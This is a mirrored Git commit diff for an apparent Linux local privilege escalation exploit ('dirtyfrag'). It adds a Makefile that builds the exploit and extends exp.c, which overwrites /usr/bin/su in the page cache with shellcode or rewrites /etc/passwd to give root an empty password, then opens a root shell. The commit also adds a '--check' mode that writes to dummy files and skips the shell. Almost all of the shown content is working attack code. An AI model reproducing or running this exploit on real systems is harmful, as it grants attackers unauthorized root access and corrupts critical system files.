mirror of
https://github.com/V4bel/dirtyfrag.git
synced 2026-05-16 10:50:10 +00:00
Merge 1fa6288ba9 into aab16fcada
This commit is contained in:
commit
f33f0d9f16
2 changed files with 128 additions and 25 deletions
33
Makefile
Normal file
33
Makefile
Normal file
|
|
@ -0,0 +1,33 @@
|
||||||
|
CC ?= cc
|
||||||
|
|
||||||
|
CFLAGS ?= -O0 -Wall
|
||||||
|
LDFLAGS ?= -lutil
|
||||||
|
|
||||||
|
.PHONY: all musl-shim musl-static
|
||||||
|
|
||||||
|
all: exp
|
||||||
|
|
||||||
|
exp: exp.c
|
||||||
|
$(CC) $(CFLAGS) $(LDFLAGS) -O0 -Wall -o $@ $^
|
||||||
|
strip --strip-all $@
|
||||||
|
|
||||||
|
ARCH := $(shell uname -m)
|
||||||
|
MUSL_SHIM_DIR ?= .musl-shim
|
||||||
|
UAPI_LINUX_DIR ?= /usr/include/linux
|
||||||
|
UAPI_ASM_GENERIC_DIR ?= /usr/include/asm-generic
|
||||||
|
UAPI_ASM_DIR ?= /usr/include/$(ARCH)-linux-gnu/asm
|
||||||
|
musl-shim:
|
||||||
|
@test -d "$(UAPI_LINUX_DIR)" || { echo "missing UAPI headers: $(UAPI_LINUX_DIR)" >&2; exit 1; }
|
||||||
|
@test -d "$(UAPI_ASM_GENERIC_DIR)" || { echo "missing UAPI headers: $(UAPI_ASM_GENERIC_DIR)" >&2; exit 1; }
|
||||||
|
@test -d "$(UAPI_ASM_DIR)" || { echo "missing UAPI headers: $(UAPI_ASM_DIR)" >&2; exit 1; }
|
||||||
|
@mkdir -p "$(MUSL_SHIM_DIR)"
|
||||||
|
@ln -sfn "$(UAPI_LINUX_DIR)" "$(MUSL_SHIM_DIR)/linux"
|
||||||
|
@ln -sfn "$(UAPI_ASM_GENERIC_DIR)" "$(MUSL_SHIM_DIR)/asm-generic"
|
||||||
|
@ln -sfn "$(UAPI_ASM_DIR)" "$(MUSL_SHIM_DIR)/asm"
|
||||||
|
|
||||||
|
musl-static: musl-shim
|
||||||
|
$(MAKE) CC=musl-gcc \
|
||||||
|
CFLAGS="$(CFLAGS) -isystem $(CURDIR)/$(MUSL_SHIM_DIR)" LDFLAGS="-static"
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f exp
|
||||||
118
exp.c
118
exp.c
|
|
@ -34,7 +34,6 @@
|
||||||
#define ENC_PORT 4500
|
#define ENC_PORT 4500
|
||||||
#define SEQ_VAL 200
|
#define SEQ_VAL 200
|
||||||
#define REPLAY_SEQ 100
|
#define REPLAY_SEQ 100
|
||||||
#define TARGET_PATH "/usr/bin/su"
|
|
||||||
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
|
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
|
||||||
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
|
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
|
||||||
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
|
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
|
||||||
|
|
@ -89,6 +88,24 @@ static const uint8_t shell_elf[PAYLOAD_LEN] = {
|
||||||
extern int g_su_verbose;
|
extern int g_su_verbose;
|
||||||
int g_su_verbose = 0;
|
int g_su_verbose = 0;
|
||||||
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
|
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
#define LOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
extern int g_check_only;
|
||||||
|
int g_check_only = 0;
|
||||||
|
|
||||||
|
void write_testfile(const char *path, const char *content, int length)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
|
||||||
|
if(fd == -1) {
|
||||||
|
LOG("open: %s", strerror(errno));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
int ret = write(fd, content, length);
|
||||||
|
if(ret != length) {
|
||||||
|
LOG("write: %s", strerror(errno));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
static int write_proc(const char *path, const char *buf)
|
static int write_proc(const char *path, const char *buf)
|
||||||
{
|
{
|
||||||
|
|
@ -288,7 +305,7 @@ static int verify_byte(const char *path, off_t offset, uint8_t want)
|
||||||
return got == want ? 0 : -1;
|
return got == want ? 0 : -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int corrupt_su(void)
|
static int corrupt_su(const char *su_target_path)
|
||||||
{
|
{
|
||||||
setup_userns_netns();
|
setup_userns_netns();
|
||||||
usleep(100 * 1000);
|
usleep(100 * 1000);
|
||||||
|
|
@ -312,13 +329,13 @@ static int corrupt_su(void)
|
||||||
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
|
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
|
||||||
uint32_t spi = 0xDEADBE10 + i;
|
uint32_t spi = 0xDEADBE10 + i;
|
||||||
off_t off = PATCH_OFFSET + i * 4;
|
off_t off = PATCH_OFFSET + i * 4;
|
||||||
if (do_one_write(TARGET_PATH, off, spi) < 0) {
|
if (do_one_write(su_target_path, off, spi) < 0) {
|
||||||
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
|
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SLOG("wrote %d bytes to %s starting at 0x%x",
|
SLOG("wrote %d bytes to %s starting at 0x%x",
|
||||||
PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
|
PAYLOAD_LEN, su_target_path, PATCH_OFFSET);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -331,11 +348,22 @@ int su_lpe_main(int argc, char **argv)
|
||||||
; /* compat: this body always corrupts only */
|
; /* compat: this body always corrupts only */
|
||||||
}
|
}
|
||||||
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
|
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
|
||||||
|
if (getenv("DIRTYFRAG_CHECKONLY")) g_check_only = 1;
|
||||||
|
|
||||||
|
const char *su_target_path = getenv("POC_SU_TARGET_FILE");
|
||||||
|
if (!su_target_path || !*su_target_path) su_target_path = "/usr/bin/su";
|
||||||
|
|
||||||
|
// write test file
|
||||||
|
if(g_check_only) {
|
||||||
|
char a[PAYLOAD_LEN+20];
|
||||||
|
memset(a, 'A', sizeof(a));
|
||||||
|
write_testfile(su_target_path, a, sizeof(a));
|
||||||
|
}
|
||||||
|
|
||||||
pid_t cpid = fork();
|
pid_t cpid = fork();
|
||||||
if (cpid < 0) return 1;
|
if (cpid < 0) return 1;
|
||||||
if (cpid == 0) {
|
if (cpid == 0) {
|
||||||
int rc = corrupt_su();
|
int rc = corrupt_su(su_target_path);
|
||||||
_exit(rc == 0 ? 0 : 2);
|
_exit(rc == 0 ? 0 : 2);
|
||||||
}
|
}
|
||||||
int cstatus;
|
int cstatus;
|
||||||
|
|
@ -348,13 +376,13 @@ int su_lpe_main(int argc, char **argv)
|
||||||
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78
|
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78
|
||||||
* after our overwrite) should be 0x31 0xff (xor edi, edi — first
|
* after our overwrite) should be 0x31 0xff (xor edi, edi — first
|
||||||
* instruction of the new shellcode). */
|
* instruction of the new shellcode). */
|
||||||
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
|
if (verify_byte(su_target_path, ENTRY_OFFSET, 0x31) != 0 ||
|
||||||
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
|
verify_byte(su_target_path, ENTRY_OFFSET + 1, 0xff) != 0) {
|
||||||
SLOG("post-write verify failed (target unchanged)");
|
SLOG("post-write verify failed (target unchanged)");
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
|
SLOG("%s page-cache patched (entry 0x%x = shellcode)",
|
||||||
ENTRY_OFFSET);
|
su_target_path, ENTRY_OFFSET);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
/*
|
/*
|
||||||
|
|
@ -449,6 +477,7 @@ static uint8_t SESSION_KEY[8] = {
|
||||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
|
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#undef LOG
|
||||||
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
|
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
|
||||||
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
|
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
|
||||||
#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
|
#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
|
@ -1241,6 +1270,7 @@ int rxrpc_lpe_main(int argc, char **argv)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (getenv("DIRTYFRAG_CHECKONLY")) g_check_only = 1;
|
||||||
|
|
||||||
/* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
|
/* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
|
||||||
* Without this, the first add_key("rxrpc", ...) call fails with ENODEV
|
* Without this, the first add_key("rxrpc", ...) call fails with ENODEV
|
||||||
|
|
@ -1261,6 +1291,12 @@ int rxrpc_lpe_main(int argc, char **argv)
|
||||||
const char *target_path = getenv("POC_TARGET_FILE");
|
const char *target_path = getenv("POC_TARGET_FILE");
|
||||||
if (!target_path || !*target_path) target_path = "/etc/passwd";
|
if (!target_path || !*target_path) target_path = "/etc/passwd";
|
||||||
|
|
||||||
|
// write test file
|
||||||
|
if(g_check_only) {
|
||||||
|
const char *passwdstr = "root:x:0:0:root:/root:/bin/bash\n\n";
|
||||||
|
write_testfile(target_path, passwdstr, strlen(passwdstr));
|
||||||
|
}
|
||||||
|
|
||||||
int rfd_ro = open(target_path, O_RDONLY);
|
int rfd_ro = open(target_path, O_RDONLY);
|
||||||
if (rfd_ro < 0) {
|
if (rfd_ro < 0) {
|
||||||
WARN("open %s RO: %s", target_path, strerror(errno));
|
WARN("open %s RO: %s", target_path, strerror(errno));
|
||||||
|
|
@ -1287,15 +1323,15 @@ int rxrpc_lpe_main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
const char *m = (const char *)map;
|
const char *m = (const char *)map;
|
||||||
if (memcmp(m, "root::0:0", 9) == 0) {
|
if (memcmp(m, "root::0:0", 9) == 0) {
|
||||||
LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
|
LOG("%s already patched (root::0:0...) — nothing to do", target_path);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
LOG("/etc/passwd line 1 first 16 bytes:");
|
LOG("%s line 1 first 16 bytes:", target_path);
|
||||||
for (int i = 0; i < 16; i++)
|
for (int i = 0; i < 16; i++)
|
||||||
fprintf(stderr, "%02x ", (uint8_t)m[i]);
|
fprintf(stderr, "%02x ", (uint8_t)m[i]);
|
||||||
fprintf(stderr, "\n");
|
fprintf(stderr, "\n");
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
|
fprintf(stderr, "[*] %s line 1 (root entry) BEFORE: '", target_path);
|
||||||
for (int i = 0; i < 32; i++) {
|
for (int i = 0; i < 32; i++) {
|
||||||
char c = ((const char *)map)[i];
|
char c = ((const char *)map)[i];
|
||||||
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
|
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
|
||||||
|
|
@ -1408,7 +1444,7 @@ int rxrpc_lpe_main(int argc, char **argv)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root");
|
fprintf(stderr, "\n[+] Predicted post-corruption %s line 1:\n \"root", target_path);
|
||||||
/* chars 4-5 from P_A */
|
/* chars 4-5 from P_A */
|
||||||
for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
|
for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
|
||||||
/* chars 6-7 from P_B */
|
/* chars 6-7 from P_B */
|
||||||
|
|
@ -1441,7 +1477,7 @@ int rxrpc_lpe_main(int argc, char **argv)
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Verify: re-read line 1 of /etc/passwd via mmap. */
|
/* Verify: re-read line 1 of /etc/passwd via mmap. */
|
||||||
fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '");
|
fprintf(stderr, "[*] %s line 1 (root entry) AFTER: '", target_path);
|
||||||
for (int i = 0; i < 32; i++) {
|
for (int i = 0; i < 32; i++) {
|
||||||
char c = ((const char *)map)[i];
|
char c = ((const char *)map)[i];
|
||||||
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
|
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
|
||||||
|
|
@ -1693,9 +1729,9 @@ static const uint8_t su_marker[8] = {
|
||||||
0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
|
0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
|
||||||
};
|
};
|
||||||
|
|
||||||
static int su_already_patched(void)
|
static int su_already_patched(const char *su_target_path)
|
||||||
{
|
{
|
||||||
int fd = open("/usr/bin/su", O_RDONLY);
|
int fd = open(su_target_path, O_RDONLY);
|
||||||
if (fd < 0)
|
if (fd < 0)
|
||||||
return 0;
|
return 0;
|
||||||
uint8_t got[8];
|
uint8_t got[8];
|
||||||
|
|
@ -1706,9 +1742,9 @@ static int su_already_patched(void)
|
||||||
return memcmp(got, su_marker, sizeof(su_marker)) == 0;
|
return memcmp(got, su_marker, sizeof(su_marker)) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int passwd_already_patched(void)
|
static int passwd_already_patched(const char *target_path)
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
int fd = open(target_path, O_RDONLY);
|
||||||
if (fd < 0)
|
if (fd < 0)
|
||||||
return 0;
|
return 0;
|
||||||
char head[16];
|
char head[16];
|
||||||
|
|
@ -1719,9 +1755,9 @@ static int passwd_already_patched(void)
|
||||||
return memcmp(head, "root::0:0", 9) == 0;
|
return memcmp(head, "root::0:0", 9) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int either_target_patched(void)
|
static int either_target_patched(const char *target_path, const char *su_target_path)
|
||||||
{
|
{
|
||||||
return su_already_patched() || passwd_already_patched();
|
return su_already_patched(su_target_path) || passwd_already_patched(target_path);
|
||||||
}
|
}
|
||||||
|
|
||||||
static void silence_stderr(int *saved_fd)
|
static void silence_stderr(int *saved_fd)
|
||||||
|
|
@ -1892,15 +1928,47 @@ static int run_root_pty(void)
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void setenv_(const char *name, const char *value, int overwrite)
|
||||||
|
{
|
||||||
|
int ret = setenv(name, value, overwrite);
|
||||||
|
if(ret == -1) {
|
||||||
|
LOG("setenv: %s", strerror(errno));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
|
int check_only = (getenv("DIRTYFRAG_CHECKONLY") != NULL);
|
||||||
|
for (int i = 1; i < argc; i++) {
|
||||||
|
if (!strcmp(argv[i], "--check"))
|
||||||
|
check_only = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(check_only) {
|
||||||
|
setenv_("DIRTYFRAG_CHECKONLY", "1", 1);
|
||||||
|
setenv_("DIRTYFRAG_CORRUPT_ONLY", "1", 1);
|
||||||
|
|
||||||
|
const char *dirtyfrag_passwd = "dirtyfrag_passwd";
|
||||||
|
const char *dirtyfrag_su = "dirtyfrag_su";
|
||||||
|
setenv_("POC_TARGET_FILE", dirtyfrag_passwd, 1);
|
||||||
|
setenv_("POC_SU_TARGET_FILE", dirtyfrag_su, 1);
|
||||||
|
}
|
||||||
|
|
||||||
int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
|
int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
|
||||||
|
int co_flag = (getenv("DIRTYFRAG_CORRUPT_ONLY") != NULL);
|
||||||
int force_esp = 0, force_rxrpc = 0;
|
int force_esp = 0, force_rxrpc = 0;
|
||||||
int saved_err = -1;
|
int saved_err = -1;
|
||||||
int rc = 1;
|
int rc = 1;
|
||||||
int new_argc;
|
int new_argc;
|
||||||
char **co_argv;
|
char **co_argv;
|
||||||
|
|
||||||
|
|
||||||
|
const char *target_path = getenv("POC_TARGET_FILE");
|
||||||
|
if (!target_path || !*target_path) target_path = "/etc/passwd";
|
||||||
|
const char *su_target_path = getenv("POC_SU_TARGET_FILE");
|
||||||
|
if (!su_target_path || !*su_target_path) su_target_path = "/usr/bin/su";
|
||||||
|
|
||||||
for (int i = 1; i < argc; i++) {
|
for (int i = 1; i < argc; i++) {
|
||||||
if (!strcmp(argv[i], "--force-esp"))
|
if (!strcmp(argv[i], "--force-esp"))
|
||||||
force_esp = 1;
|
force_esp = 1;
|
||||||
|
|
@ -1923,26 +1991,28 @@ int main(int argc, char **argv)
|
||||||
|
|
||||||
if (force_rxrpc) {
|
if (force_rxrpc) {
|
||||||
rc = rxrpc_lpe_main(new_argc, co_argv);
|
rc = rxrpc_lpe_main(new_argc, co_argv);
|
||||||
for (int i = 0; !passwd_already_patched() && i < 3; i++)
|
for (int i = 0; !passwd_already_patched(target_path) && i < 3; i++)
|
||||||
rc = rxrpc_lpe_main(new_argc, co_argv);
|
rc = rxrpc_lpe_main(new_argc, co_argv);
|
||||||
} else if (force_esp) {
|
} else if (force_esp) {
|
||||||
rc = su_lpe_main(new_argc, co_argv);
|
rc = su_lpe_main(new_argc, co_argv);
|
||||||
} else {
|
} else {
|
||||||
rc = su_lpe_main(new_argc, co_argv);
|
rc = su_lpe_main(new_argc, co_argv);
|
||||||
if (!su_already_patched()) {
|
if (!su_already_patched(su_target_path)) {
|
||||||
rc = rxrpc_lpe_main(new_argc, co_argv);
|
rc = rxrpc_lpe_main(new_argc, co_argv);
|
||||||
for (int i = 0; !passwd_already_patched() && i < 3; i++)
|
for (int i = 0; !passwd_already_patched(target_path) && i < 3; i++)
|
||||||
rc = rxrpc_lpe_main(new_argc, co_argv);
|
rc = rxrpc_lpe_main(new_argc, co_argv);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int patched = either_target_patched();
|
int patched = either_target_patched(target_path, su_target_path);
|
||||||
|
|
||||||
if (!verbose)
|
if (!verbose)
|
||||||
restore_stderr(saved_err);
|
restore_stderr(saved_err);
|
||||||
|
|
||||||
if (patched) {
|
if (patched) {
|
||||||
|
if(!co_flag) {
|
||||||
(void)run_root_pty();
|
(void)run_root_pty();
|
||||||
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue